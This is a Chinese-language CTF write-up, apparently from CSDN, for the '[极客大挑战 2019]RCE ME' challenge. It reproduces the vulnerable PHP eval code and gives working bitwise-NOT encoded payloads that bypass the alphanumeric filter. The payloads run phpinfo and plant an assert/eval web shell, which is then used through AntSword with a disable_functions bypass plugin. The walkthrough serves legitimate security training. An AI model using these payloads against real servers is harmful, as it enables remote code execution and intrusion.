[极客大挑战 2019]RCE ME

本文介绍了针对PHP代码的安全审计过程,包括长度限制和字符过滤的绕过方法。通过使用URL编码和代码取反,成功构造payload执行了phpinfo()。接着利用php的assert函数构造shell,绕过了系统禁用的大量函数。最后,在无法直接读取flag的情况下,借助蚁剑插件成功获取了flag。整个过程展示了Web安全中的代码审计和漏洞利用技巧。
摘要由CSDN通过智能技术生成

[极客大挑战 2019]RCE ME

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

审计代码得知,需要get传值code,并且code的长度不能大于40,code也不能取字母或者数字,考虑取反绕过,构造payload:/?code=phpinfo();,对其进行取反:php -r "echo urlencode(~'phpinfo');"或者

<?php
echo urlencode(~'phpinfo');
?>

php在线运行网址:PHP 在线工具 | 菜鸟工具

得到%8F%97%8F%96%91%99%90,从而构造出新的payload:/?code=(~%8F%97%8F%96%91%99%90)();

进去之后发现了很多很多的禁用函数:

接下来构造shell:

php断言:assert — 检查一个断言是否为 false,如果参数是字符串,它将会被 assert() 当做 PHP 代码来执行。写入shell:eval($_POST[shell]),同样的方法需要取反:

/?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6);
# %9E%8C%8C%9A%8D%8B=assert
# %9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6=eval($_POST[shell])

这里系统先对code进行取反得到:/?code=(assert)(eval($_POST[shell]));,然后assert将eval($_POST[shell])当作php代码来执行,至此写入shell,前往蚁剑

url:http://xxxxx.node4.buuoj.cn:81/?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6);

在根目录下发现flag,但是不能读取

考虑到网页禁用了大量的函数,于是利用蚁剑插件:disable_functions,右键数据->加载插件->辅助工具->绕过disable_functions->然后选择PHP7_GC_UAF->点击开始,然后直接输入命令/readflag,即可得到flag:

至此结束,撒花

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值